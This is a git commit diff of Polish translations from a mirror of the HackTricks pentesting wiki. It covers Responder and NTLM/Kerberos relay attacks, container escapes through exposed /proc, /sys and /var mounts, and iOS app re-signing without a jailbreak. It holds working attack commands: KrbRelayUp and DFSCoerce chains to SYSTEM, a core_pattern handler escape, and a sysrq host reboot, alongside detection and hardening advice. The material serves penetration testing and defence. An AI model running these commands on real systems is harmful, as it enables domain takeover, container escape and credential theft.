mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
6922399f2a
commit
b3d4c38025
@ -316,6 +316,7 @@
|
||||
- [Drozer Tutorial](mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md)
|
||||
- [Exploiting Content Providers](mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md)
|
||||
- [Exploiting a debuggeable application](mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md)
|
||||
- [Flutter](mobile-pentesting/android-app-pentesting/flutter.md)
|
||||
- [Frida Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/README.md)
|
||||
- [Frida Tutorial 1](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md)
|
||||
- [Frida Tutorial 2](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md)
|
||||
@ -342,6 +343,7 @@
|
||||
- [iOS Extracting Entitlements From Compiled Application](mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md)
|
||||
- [iOS Frida Configuration](mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md)
|
||||
- [iOS Hooking With Objection](mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md)
|
||||
- [iOS Pentesting withuot Jailbreak](mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md)
|
||||
- [iOS Protocol Handlers](mobile-pentesting/ios-pentesting/ios-protocol-handlers.md)
|
||||
- [iOS Serialisation and Encoding](mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md)
|
||||
- [iOS Testing Environment](mobile-pentesting/ios-pentesting/ios-testing-environment.md)
|
||||
|
||||
@ -4,10 +4,10 @@
|
||||
|
||||
## Protokoły sieciowe
|
||||
|
||||
### Protokoły lokalnego rozwiązywania nazw
|
||||
### Protokoły lokalnej rozdzielczości hosta
|
||||
|
||||
- **LLMNR, NBT-NS i mDNS**:
|
||||
- Microsoft i inne systemy operacyjne używają LLMNR i NBT-NS do lokalnego rozwiązywania nazw, gdy DNS zawiedzie. Podobnie, systemy Apple i Linux używają mDNS.
|
||||
- Microsoft i inne systemy operacyjne używają LLMNR i NBT-NS do lokalnej rozdzielczości nazw, gdy DNS zawiedzie. Podobnie, systemy Apple i Linux używają mDNS.
|
||||
- Protokoły te są podatne na przechwytywanie i spoofing z powodu ich nieautoryzowanej, rozgłoszeniowej natury w UDP.
|
||||
- [Responder](https://github.com/lgandx/Responder) może być używany do podszywania się pod usługi, wysyłając sfałszowane odpowiedzi do hostów zapytujących te protokoły.
|
||||
- Dalsze informacje na temat podszywania się pod usługi za pomocą Respondera można znaleźć [tutaj](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
@ -20,7 +20,7 @@
|
||||
|
||||
### Responder do zatruwania protokołów
|
||||
|
||||
- **Responder** to narzędzie używane do zatruwania zapytań LLMNR, NBT-NS i mDNS, selektywnie odpowiadając w zależności od typów zapytań, głównie celując w usługi SMB.
|
||||
- **Responder** to narzędzie używane do zatruwania zapytań LLMNR, NBT-NS i mDNS, selektywnie odpowiadając na podstawie typów zapytań, głównie celując w usługi SMB.
|
||||
- Jest preinstalowane w Kali Linux, konfigurowalne w `/etc/responder/Responder.conf`.
|
||||
- Responder wyświetla przechwycone hashe na ekranie i zapisuje je w katalogu `/usr/share/responder/logs`.
|
||||
- Obsługuje zarówno IPv4, jak i IPv6.
|
||||
@ -32,18 +32,18 @@
|
||||
- Dla bardziej agresywnego skanowania (z potencjalnymi skutkami ubocznymi): `responder -I <Interface> -P -r -v`
|
||||
- Techniki przechwytywania wyzwań/odpowiedzi NTLMv1 dla łatwiejszego łamania: `responder -I <Interface> --lm --disable-ess`
|
||||
- Podszywanie się pod WPAD można aktywować za pomocą: `responder -I <Interface> --wpad`
|
||||
- Żądania NetBIOS mogą być rozwiązywane do IP atakującego, a proxy uwierzytelniające można ustawić: `responder.py -I <interface> -Pv`
|
||||
- Żądania NetBIOS mogą być rozwiązywane do IP atakującego, a proxy uwierzytelniające można skonfigurować: `responder.py -I <interface> -Pv`
|
||||
|
||||
### Zatruwanie DHCP za pomocą Respondera
|
||||
|
||||
- Podszywanie się pod odpowiedzi DHCP może na stałe zatruć informacje o trasowaniu ofiary, oferując bardziej dyskretną alternatywę dla zatruwania ARP.
|
||||
- Wymaga to precyzyjnej wiedzy o konfiguracji sieci docelowej.
|
||||
- Wymaga to dokładnej wiedzy o konfiguracji sieci docelowej.
|
||||
- Uruchamianie ataku: `./Responder.py -I eth0 -Pdv`
|
||||
- Ta metoda może skutecznie przechwytywać hashe NTLMv1/2, ale wymaga ostrożnego postępowania, aby uniknąć zakłóceń w sieci.
|
||||
- Ta metoda może skutecznie przechwytywać hashe NTLMv1/2, ale wymaga ostrożnego podejścia, aby uniknąć zakłóceń w sieci.
|
||||
|
||||
### Przechwytywanie poświadczeń za pomocą Respondera
|
||||
|
||||
- Responder będzie podszywał się pod usługi przy użyciu wyżej wymienionych protokołów, przechwytując poświadczenia (zwykle NTLMv2 Challenge/Response), gdy użytkownik próbuje uwierzytelnić się w podszywających się usługach.
|
||||
- Responder będzie podszywał się pod usługi korzystające z wyżej wymienionych protokołów, przechwytując poświadczenia (zwykle NTLMv2 Challenge/Response), gdy użytkownik próbuje uwierzytelnić się w podszywających się usługach.
|
||||
- Można próbować obniżyć wersję do NetNTLMv1 lub wyłączyć ESS dla łatwiejszego łamania poświadczeń.
|
||||
|
||||
Ważne jest, aby zauważyć, że stosowanie tych technik powinno odbywać się legalnie i etycznie, zapewniając odpowiednie upoważnienie i unikając zakłóceń lub nieautoryzowanego dostępu.
|
||||
@ -62,7 +62,7 @@ Inveigh.exe
|
||||
```
|
||||
### NTLM Relay Attack
|
||||
|
||||
Atak ten wykorzystuje sesje uwierzytelniania SMB do uzyskania dostępu do docelowej maszyny, przyznając powłokę systemową, jeśli się powiedzie. Kluczowe wymagania wstępne obejmują:
|
||||
Atak ten wykorzystuje sesje uwierzytelniania SMB do uzyskania dostępu do docelowej maszyny, przyznając powłokę systemową w przypadku sukcesu. Kluczowe wymagania wstępne obejmują:
|
||||
|
||||
- Użytkownik uwierzytelniający musi mieć dostęp lokalnego administratora na hostie, na który jest przekazywane połączenie.
|
||||
- Podpisywanie SMB powinno być wyłączone.
|
||||
@ -115,6 +115,113 @@ W systemie Windows **możesz być w stanie wymusić, aby niektóre uprzywilejowa
|
||||
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
## Atak Kerberos Relay
|
||||
|
||||
Atak **Kerberos relay** kradnie **bilet AP-REQ** z jednej usługi i ponownie go wykorzystuje przeciwko drugiej usłudze, która dzieli **ten sam klucz konta komputera** (ponieważ oba SPN znajdują się na tym samym koncie maszyny `$`). Działa to, mimo że **klasy usług SPN różnią się** (np. `CIFS/` → `LDAP/`), ponieważ *klucz*, który odszyfrowuje bilet, to NT hash maszyny, a nie sam ciąg SPN, a ciąg SPN nie jest częścią podpisu.
|
||||
|
||||
W przeciwieństwie do NTLM relay, skok jest ograniczony do *tej samej hosta*, ale jeśli celujesz w protokół, który pozwala na zapis do LDAP, możesz połączyć się z **Resource-Based Constrained Delegation (RBCD)** lub **AD CS enrollment** i uzyskać **NT AUTHORITY\SYSTEM** za jednym razem.
|
||||
|
||||
Aby uzyskać szczegółowe informacje na temat tego ataku, sprawdź:
|
||||
|
||||
- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
|
||||
- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
|
||||
|
||||
- 1. **Podstawy Kerberos**
|
||||
|
||||
| Token | Cel | Znaczenie dla relay |
|
||||
|-------|---------|-----------------|
|
||||
| **TGT / AS-REQ ↔ REP** | Udowadnia użytkownika KDC | nietknięty |
|
||||
| **Bilet usługi / TGS-REQ ↔ REP** | Powiązany z jednym **SPN**; zaszyfrowany kluczem właściciela SPN | wymienny, jeśli SPN dzielą konto |
|
||||
| **AP-REQ** | Klient wysyła `TGS` do usługi | **to, co kradniemy i odtwarzamy** |
|
||||
|
||||
* Bilety są szyfrowane **kluczem pochodzącym z hasła konta, które posiada SPN**.
|
||||
* **Authenticator** wewnątrz AP-REQ ma znacznik czasu 5 minut; odtworzenie w tym oknie jest ważne, dopóki pamięć podręczna usługi nie zobaczy duplikatu.
|
||||
* Windows rzadko sprawdza, czy ciąg SPN w bilecie pasuje do usługi, którą trafiasz, więc bilet dla `CIFS/HOST` normalnie odszyfrowuje się poprawnie na `LDAP/HOST`.
|
||||
|
||||
- 2. **Co musi być prawdą, aby przekazać Kerberos**
|
||||
|
||||
1. **Wspólny klucz:** źródłowe i docelowe SPN należą do tego samego konta komputera (domyślnie na serwerach Windows).
|
||||
2. **Brak ochrony kanału:** SMB/LDAP podpisy wyłączone i EPA wyłączone dla HTTP/LDAPS.
|
||||
3. **Możesz przechwycić lub wymusić uwierzytelnienie:** LLMNR/NBNS poison, DNS spoof, **PetitPotam / DFSCoerce RPC**, fałszywy AuthIP, rogue DCOM, itd.
|
||||
4. **Źródło biletu nie zostało już użyte:** wygrywasz wyścig, zanim prawdziwy pakiet dotrze lub blokujesz go całkowicie; w przeciwnym razie pamięć podręczna serwera odtwarza zdarzenie 4649.
|
||||
5. Musisz w jakiś sposób być w stanie przeprowadzić **MitM w komunikacji**, być może będąc częścią grupy DNSAmins, aby zmodyfikować DNS domeny lub być w stanie zmienić plik HOST ofiary.
|
||||
|
||||
### Kroki ataku Kerberos Relay
|
||||
|
||||
- 3.1 **Rozpoznanie hosta**
|
||||
```powershell
|
||||
# find servers where HTTP, LDAP or CIFS share the same machine account
|
||||
Get-ADComputer -Filter * -Properties servicePrincipalName |
|
||||
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
|
||||
Select Name,servicePrincipalName
|
||||
```
|
||||
- 3.2 **Uruchom nasłuchiwacz przekazywania**
|
||||
|
||||
[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
|
||||
```powershell
|
||||
# one-click local SYSTEM via RBCD
|
||||
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
|
||||
```
|
||||
`KrbRelayUp` opakowuje **KrbRelay → LDAP → RBCD → Rubeus → SCM bypass** w jednym pliku binarnym.
|
||||
|
||||
- 3.3 **Wymuszenie uwierzytelnienia Kerberos**
|
||||
```powershell
|
||||
# coerce DC to auth over SMB with DFSCoerce
|
||||
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
|
||||
```
|
||||
DFSCoerce sprawia, że DC wysyła nam bilet Kerberos `CIFS/DC01`.
|
||||
|
||||
- 3.4 **Przekaż AP-REQ**
|
||||
|
||||
KrbRelay wyodrębnia blob GSS z SMB, pakuje go ponownie w bind LDAP i przesyła do `ldap://DC01`—uwierzytelnienie się udaje, ponieważ **ten sam klucz** go deszyfruje.
|
||||
|
||||
- 3.5 **Wykorzystaj LDAP ➜ RBCD ➜ SYSTEM**
|
||||
```powershell
|
||||
# (auto inside KrbRelayUp) manual for clarity
|
||||
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
|
||||
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
|
||||
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
|
||||
SCMUACBypass.exe
|
||||
```
|
||||
You now own **NT AUTHORITY\SYSTEM**.
|
||||
|
||||
|
||||
### **Więcej ścieżek, które warto znać**
|
||||
|
||||
| Wektor | Sztuczka | Dlaczego to ma znaczenie |
|
||||
|--------|-------|----------------|
|
||||
| **AuthIP / IPSec** | Fałszywy serwer wysyła **ładunek GSS-ID** z dowolnym SPN; klient buduje AP-REQ bezpośrednio do ciebie | Działa nawet w różnych podsieciach; domyślne poświadczenia maszyny |
|
||||
| **DCOM / MSRPC** | Złośliwy resolver OXID zmusza klienta do uwierzytelnienia do dowolnego SPN i portu | Czyste *lokalne* podniesienie uprawnień; omija zaporę |
|
||||
| **AD CS Web Enroll** | Przekaż bilet maszyny do `HTTP/CA` i zdobądź certyfikat, następnie **PKINIT** do wyprodukowania TGT | Omija zabezpieczenia podpisywania LDAP |
|
||||
| **Shadow Credentials** | Zapisz `msDS-KeyCredentialLink`, następnie PKINIT z fałszywą parą kluczy | Nie ma potrzeby dodawania konta komputera |
|
||||
|
||||
### **Rozwiązywanie problemów**
|
||||
|
||||
| Błąd | Znaczenie | Naprawa |
|
||||
|-------|---------|-----|
|
||||
| `KRB_AP_ERR_MODIFIED` | Klucz biletu ≠ klucz docelowy | Zły host/SPN |
|
||||
| `KRB_AP_ERR_SKEW` | Zegar > 5 min różnicy | Synchronizuj czas lub użyj `w32tm` |
|
||||
| Niepowodzenie bindowania LDAP | Wymuszone podpisywanie | Użyj ścieżki AD CS lub wyłącz podpisywanie |
|
||||
| Spam zdarzeń 4649 | Usługa zauważyła duplikat Authenticator | zablokuj lub wyściguj oryginalny pakiet |
|
||||
|
||||
|
||||
### **Wykrywanie**
|
||||
|
||||
* Wzrost w **Zdarzeniu 4769** dla `CIFS/`, `HTTP/`, `LDAP/` z tego samego źródła w ciągu kilku sekund.
|
||||
* **Zdarzenie 4649** na usłudze wskazuje na wykrycie powtórzenia.
|
||||
* Logowanie Kerberos z **127.0.0.1** (przekazywanie do lokalnego SCM) jest bardzo podejrzane—mapuj za pomocą reguły Sigma w dokumentach KrbRelayUp.
|
||||
* Obserwuj zmiany w atrybutach `msDS-AllowedToActOnBehalfOfOtherIdentity` lub `msDS-KeyCredentialLink`.
|
||||
|
||||
## **Wzmacnianie zabezpieczeń**
|
||||
|
||||
1. **Wymuś podpisywanie LDAP i SMB + EPA** na każdym serwerze.
|
||||
2. **Podziel SPN** tak, aby HTTP nie było na tym samym koncie co CIFS/LDAP.
|
||||
3. Łatki dla wektorów przymusu (PetitPotam KB5005413, DFS, AuthIP).
|
||||
4. Ustaw **`ms-DS-MachineAccountQuota = 0`** aby zatrzymać nieautoryzowane dołączenia komputerów.
|
||||
5. Powiadamiaj o **Zdarzeniu 4649** i nieoczekiwanych logowaniach Kerberos z pętli zwrotnej.
|
||||
|
||||
|
||||
|
||||
## Odniesienia
|
||||
|
||||
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
||||
|
||||
@ -2,29 +2,41 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Ekspozycja `/proc`, `/sys` i `/var` bez odpowiedniej izolacji przestrzeni nazw wprowadza znaczące ryzyko bezpieczeństwa, w tym powiększenie powierzchni ataku i ujawnienie informacji. Te katalogi zawierają wrażliwe pliki, które, jeśli są źle skonfigurowane lub dostępne dla nieautoryzowanego użytkownika, mogą prowadzić do ucieczki z kontenera, modyfikacji hosta lub dostarczenia informacji wspierających dalsze ataki. Na przykład, niewłaściwe zamontowanie `-v /proc:/host/proc` może obejść ochronę AppArmor z powodu swojej opartej na ścieżkach natury, pozostawiając `/host/proc` bez ochrony.
|
||||
Ekspozycja `/proc`, `/sys` i `/var` bez odpowiedniej izolacji przestrzeni nazw wprowadza znaczące ryzyko bezpieczeństwa, w tym powiększenie powierzchni ataku i ujawnienie informacji. Te katalogi zawierają wrażliwe pliki, które, jeśli są źle skonfigurowane lub dostępne dla nieautoryzowanego użytkownika, mogą prowadzić do ucieczki z kontenera, modyfikacji hosta lub dostarczyć informacji wspomagających dalsze ataki. Na przykład, niewłaściwe zamontowanie `-v /proc:/host/proc` może obejść ochronę AppArmor z powodu swojej opartej na ścieżce natury, pozostawiając `/host/proc` bez ochrony.
|
||||
|
||||
**Szczegółowe informacje o każdej potencjalnej luce można znaleźć w** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
|
||||
**Możesz znaleźć dalsze szczegóły dotyczące każdej potencjalnej luki w** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
|
||||
|
||||
## procfs Vulnerabilities
|
||||
|
||||
### `/proc/sys`
|
||||
|
||||
Ten katalog pozwala na modyfikację zmiennych jądra, zazwyczaj za pomocą `sysctl(2)`, i zawiera kilka subkatalogów budzących niepokój:
|
||||
Ten katalog pozwala na dostęp do modyfikacji zmiennych jądra, zazwyczaj za pomocą `sysctl(2)`, i zawiera kilka subkatalogów budzących niepokój:
|
||||
|
||||
#### **`/proc/sys/kernel/core_pattern`**
|
||||
|
||||
- Opisany w [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
|
||||
- Umożliwia zdefiniowanie programu do wykonania przy generowaniu pliku core z pierwszymi 128 bajtami jako argumentami. Może to prowadzić do wykonania kodu, jeśli plik zaczyna się od rury `|`.
|
||||
- Jeśli możesz pisać w tym pliku, możliwe jest zapisanie potoku `|` po którym następuje ścieżka do programu lub skryptu, który zostanie wykonany po wystąpieniu awarii.
|
||||
- Atakujący może znaleźć ścieżkę wewnątrz hosta do swojego kontenera, wykonując `mount` i zapisać ścieżkę do binarnego pliku wewnątrz systemu plików swojego kontenera. Następnie, spowodować awarię programu, aby zmusić jądro do wykonania binarnego pliku poza kontenerem.
|
||||
|
||||
- **Przykład testowania i eksploatacji**:
|
||||
|
||||
```bash
|
||||
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test dostępu do zapisu
|
||||
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access
|
||||
cd /proc/sys/kernel
|
||||
echo "|$overlay/shell.sh" > core_pattern # Ustaw niestandardowy handler
|
||||
sleep 5 && ./crash & # Wywołaj handler
|
||||
echo "|$overlay/shell.sh" > core_pattern # Set custom handler
|
||||
sleep 5 && ./crash & # Trigger handler
|
||||
```
|
||||
Sprawdź [ten post](https://pwning.systems/posts/escaping-containers-for-fun/) po więcej informacji.
|
||||
|
||||
Przykładowy program, który się zawiesza:
|
||||
```c
|
||||
int main(void) {
|
||||
char buf[1];
|
||||
for (int i = 0; i < 100; i++) {
|
||||
buf[i] = 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
#### **`/proc/sys/kernel/modprobe`**
|
||||
|
||||
- Szczegóły w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
@ -38,12 +50,12 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Sprawdź dostęp do modprobe
|
||||
#### **`/proc/sys/vm/panic_on_oom`**
|
||||
|
||||
- Odniesienie w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- Globalny flag, który kontroluje, czy jądro panikuje, czy wywołuje OOM killera, gdy występuje warunek OOM.
|
||||
- Globalny flag, który kontroluje, czy jądro panikuje lub wywołuje OOM killera, gdy wystąpi warunek OOM.
|
||||
|
||||
#### **`/proc/sys/fs`**
|
||||
|
||||
- Zgodnie z [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), zawiera opcje i informacje o systemie plików.
|
||||
- Dostęp do zapisu może umożliwić różne ataki typu denial-of-service przeciwko hostowi.
|
||||
- Dostęp do zapisu może umożliwić różne ataki typu denial-of-service na hosta.
|
||||
|
||||
#### **`/proc/sys/fs/binfmt_misc`**
|
||||
|
||||
@ -51,7 +63,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Sprawdź dostęp do modprobe
|
||||
- Może prowadzić do eskalacji uprawnień lub dostępu do powłoki root, jeśli `/proc/sys/fs/binfmt_misc/register` jest zapisywalny.
|
||||
- Istotny exploit i wyjaśnienie:
|
||||
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
|
||||
- Szczegółowy tutorial: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
- Szczegółowy samouczek: [Link do wideo](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
|
||||
### Inne w `/proc`
|
||||
|
||||
@ -102,7 +114,7 @@ echo b > /proc/sysrq-trigger # Ponownie uruchamia hosta
|
||||
#### **`/proc/mem`**
|
||||
|
||||
- Alternatywny interfejs dla `/dev/mem`, reprezentujący pamięć fizyczną.
|
||||
- Umożliwia odczyt i zapis, modyfikacja całej pamięci wymaga rozwiązania adresów wirtualnych na fizyczne.
|
||||
- Umożliwia odczyt i zapis, modyfikacja całej pamięci wymaga przekształcenia adresów wirtualnych na fizyczne.
|
||||
|
||||
#### **`/proc/sched_debug`**
|
||||
|
||||
@ -114,13 +126,13 @@ echo b > /proc/sysrq-trigger # Ponownie uruchamia hosta
|
||||
- Dostarcza informacje o punktach montowania w przestrzeni nazw montowania procesu.
|
||||
- Ujawnia lokalizację `rootfs` kontenera lub obrazu.
|
||||
|
||||
### `/sys` Vulnerabilities
|
||||
### Luki w `/sys`
|
||||
|
||||
#### **`/sys/kernel/uevent_helper`**
|
||||
|
||||
- Używane do obsługi `uevent` urządzeń jądra.
|
||||
- Zapis do `/sys/kernel/uevent_helper` może wykonać dowolne skrypty po wyzwoleniu `uevent`.
|
||||
- **Przykład eksploatacji**: %%%bash
|
||||
- Zapis do `/sys/kernel/uevent_helper` może wykonywać dowolne skrypty po wyzwoleniu `uevent`.
|
||||
- **Przykład wykorzystania**: %%%bash
|
||||
|
||||
#### Tworzy ładunek
|
||||
|
||||
@ -144,11 +156,11 @@ cat /output %%%
|
||||
|
||||
#### **`/sys/class/thermal`**
|
||||
|
||||
- Kontroluje ustawienia temperatury, potencjalnie powodując ataki DoS lub fizyczne uszkodzenia.
|
||||
- Kontroluje ustawienia temperatury, co może prowadzić do ataków DoS lub uszkodzenia fizycznego.
|
||||
|
||||
#### **`/sys/kernel/vmcoreinfo`**
|
||||
|
||||
- Ujawnia adresy jądra, potencjalnie kompromitując KASLR.
|
||||
- Ujawnia adresy jądra, co może kompromitować KASLR.
|
||||
|
||||
#### **`/sys/kernel/security`**
|
||||
|
||||
@ -158,16 +170,18 @@ cat /output %%%
|
||||
#### **`/sys/firmware/efi/vars` i `/sys/firmware/efi/efivars`**
|
||||
|
||||
- Ujawnia interfejsy do interakcji z zmiennymi EFI w NVRAM.
|
||||
- Błędna konfiguracja lub eksploatacja może prowadzić do zablokowanych laptopów lub nieuruchamialnych maszyn hosta.
|
||||
- Błędna konfiguracja lub wykorzystanie może prowadzić do zablokowanych laptopów lub maszyn hosta, które nie mogą się uruchomić.
|
||||
|
||||
#### **`/sys/kernel/debug`**
|
||||
|
||||
- `debugfs` oferuje interfejs debugowania "bez zasad" do jądra.
|
||||
- Historia problemów z bezpieczeństwem z powodu swojej nieograniczonej natury.
|
||||
- Historia problemów z bezpieczeństwem z powodu jego nieograniczonej natury.
|
||||
|
||||
### `/var` Vulnerabilities
|
||||
### Luki w `/var`
|
||||
|
||||
Folder **/var** hosta zawiera gniazda czasu wykonywania kontenerów i systemy plików kontenerów. Jeśli ten folder jest zamontowany wewnątrz kontenera, ten kontener uzyska dostęp do odczytu i zapisu do systemów plików innych kontenerów z uprawnieniami root. Może to być wykorzystywane do przełączania się między kontenerami, powodowania odmowy usługi lub wprowadzania tylnego wejścia do innych kontenerów i aplikacji, które w nich działają.
|
||||
Folder **/var** hosta zawiera gniazda czasu wykonywania kontenerów oraz systemy plików kontenerów.
|
||||
Jeśli ten folder jest zamontowany wewnątrz kontenera, ten kontener uzyska dostęp do odczytu i zapisu do systemów plików innych kontenerów z uprawnieniami root.
|
||||
Może to być nadużywane do przełączania się między kontenerami, powodowania odmowy usługi lub wprowadzania tylnego wejścia do innych kontenerów i aplikacji, które w nich działają.
|
||||
|
||||
#### Kubernetes
|
||||
|
||||
@ -235,7 +249,7 @@ Kontener może odczytywać tokeny K8s serviceaccount lub tokeny AWS webidentity,
|
||||
```
|
||||
#### Docker
|
||||
|
||||
Eksploatacja w Dockerze (lub w wdrożeniach Docker Compose) jest dokładnie taka sama, z tym że zazwyczaj systemy plików innych kontenerów są dostępne pod inną podstawową ścieżką:
|
||||
Eksploatacja w Dockerze (lub w wdrożeniach Docker Compose) jest dokładnie taka sama, z tą różnicą, że zazwyczaj systemy plików innych kontenerów są dostępne pod inną ścieżką bazową:
|
||||
```bash
|
||||
$ docker info | grep -i 'docker root\|storage driver'
|
||||
Storage Driver: overlay2
|
||||
|
||||
@ -0,0 +1,73 @@
|
||||
# iOS Pentesting without Jailbreak
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Główna idea
|
||||
|
||||
Aplikacje podpisane z **uprawnieniem `get_task_allow`** pozwalają aplikacjom innych firm na uruchomienie funkcji **`task_for_pid()`** z identyfikatorem procesu początkowej aplikacji jako argumentem, aby uzyskać port zadania nad nią (móc ją kontrolować i uzyskać dostęp do jej pamięci).
|
||||
|
||||
Jednak nie jest to tak proste, jak po prostu pobranie IPA, ponowne podpisanie go z uprawnieniem i wgranie z powrotem na urządzenie. Dzieje się tak z powodu ochrony FairPlay. Gdy podpis aplikacji się zmienia, klucz DRM (Digital Rights Management) jest **unieważniony i aplikacja nie będzie działać**.
|
||||
|
||||
Na starym urządzeniu z jailbreakiem możliwe jest zainstalowanie IPA, **odszyfrowanie go za pomocą ulubionego narzędzia** (takiego jak Iridium lub frida-ios-dump) i pobranie go z powrotem z urządzenia. Chociaż, jeśli to możliwe, zaleca się po prostu poprosić klienta o odszyfrowane IPA.
|
||||
|
||||
## Uzyskanie odszyfrowanego IPA
|
||||
|
||||
### Pobierz z Apple
|
||||
|
||||
1. Zainstaluj aplikację do testowania na iPhonie.
|
||||
2. Zainstaluj i uruchom [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) na swoim macos.
|
||||
3. Otwórz `Terminal` na swoim Macu i przejdź do `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. IPA pojawi się w tym folderze później.
|
||||
4. Powinieneś zobaczyć swoje urządzenie iOS. Kliknij dwukrotnie na nie, a następnie kliknij Dodaj + → Aplikacje w górnym pasku menu.
|
||||
5. Po kliknięciu Dodaj, Configurator pobierze IPA z Apple i spróbuje wgrać je na twoje urządzenie. Jeśli wcześniej postępowałeś zgodnie z moją rekomendacją i już zainstalowałeś IPA, pojawi się komunikat z prośbą o ponowną instalację aplikacji.
|
||||
6. IPA powinno być pobrane w `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`, skąd możesz je pobrać.
|
||||
|
||||
Sprawdź [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) po więcej szczegółowych informacji na temat tego procesu.
|
||||
|
||||
### Odszyfrowanie aplikacji
|
||||
|
||||
Aby odszyfrować IPA, zamierzamy je zainstalować. Jednak jeśli masz starego iPhone'a z jailbreakiem, potencjalnie jego wersja nie będzie wspierana przez aplikację, ponieważ zazwyczaj aplikacje wspierają tylko najnowsze wersje.
|
||||
|
||||
Aby je zainstalować, po prostu rozpakuj IPA:
|
||||
```bash
|
||||
unzip redacted.ipa -d unzipped
|
||||
```
|
||||
Sprawdź `Info.plist` pod kątem minimalnej obsługiwanej wersji, a jeśli twoje urządzenie jest starsze, zmień wartość, aby była obsługiwana.
|
||||
|
||||
Spakuj ponownie IPA:
|
||||
```bash
|
||||
cd unzipped
|
||||
zip -r ../no-min-version.ipa *
|
||||
```
|
||||
Następnie zainstaluj IPA na przykład za pomocą:
|
||||
```bash
|
||||
ideviceinstaller -i no-min-version.ipa -w
|
||||
```
|
||||
Zauważ, że możesz potrzebować **AppSync Unified tweak** z Cydii, aby zapobiec błędom `invalid signature`.
|
||||
|
||||
Po zainstalowaniu możesz użyć **Iridium tweak** z Cydii, aby uzyskać odszyfrowany plik IPA.
|
||||
|
||||
|
||||
### Patch entitlements & re-sign
|
||||
|
||||
Aby ponownie podpisać aplikację z uprawnieniem `get-task-allow`, dostępnych jest kilka narzędzi, takich jak `app-signer`, `codesign` i `iResign`. `app-signer` ma bardzo przyjazny interfejs, który pozwala bardzo łatwo podpisać plik IPA, wskazując plik IPA do ponownego podpisania, aby **ustawić `get-task-allow`** oraz certyfikat i profil provisioningowy do użycia.
|
||||
|
||||
Jeśli chodzi o certyfikaty i profile podpisywania, Apple oferuje **darmowe profile podpisywania dla deweloperów** dla wszystkich kont przez Xcode. Po prostu stwórz aplikację i skonfiguruj jeden. Następnie skonfiguruj **iPhone, aby ufał aplikacjom dewelopera**, przechodząc do `Ustawienia` → `Prywatność i bezpieczeństwo`, a następnie kliknij na `Tryb dewelopera`.
|
||||
|
||||
|
||||
Z ponownie podpisanym plikiem IPA nadszedł czas, aby zainstalować go na urządzeniu, aby przeprowadzić testy penetracyjne:
|
||||
```bash
|
||||
ideviceinstaller -i resigned.ipa -w
|
||||
```
|
||||
### Hook
|
||||
|
||||
Możesz łatwo podłączyć swoją aplikację, używając powszechnych narzędzi, takich jak frida i objection:
|
||||
```bash
|
||||
objection -g [your app bundle ID] explore
|
||||
|
||||
```
|
||||
## Odniesienia
|
||||
|
||||
- [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
|
||||
|
||||
|
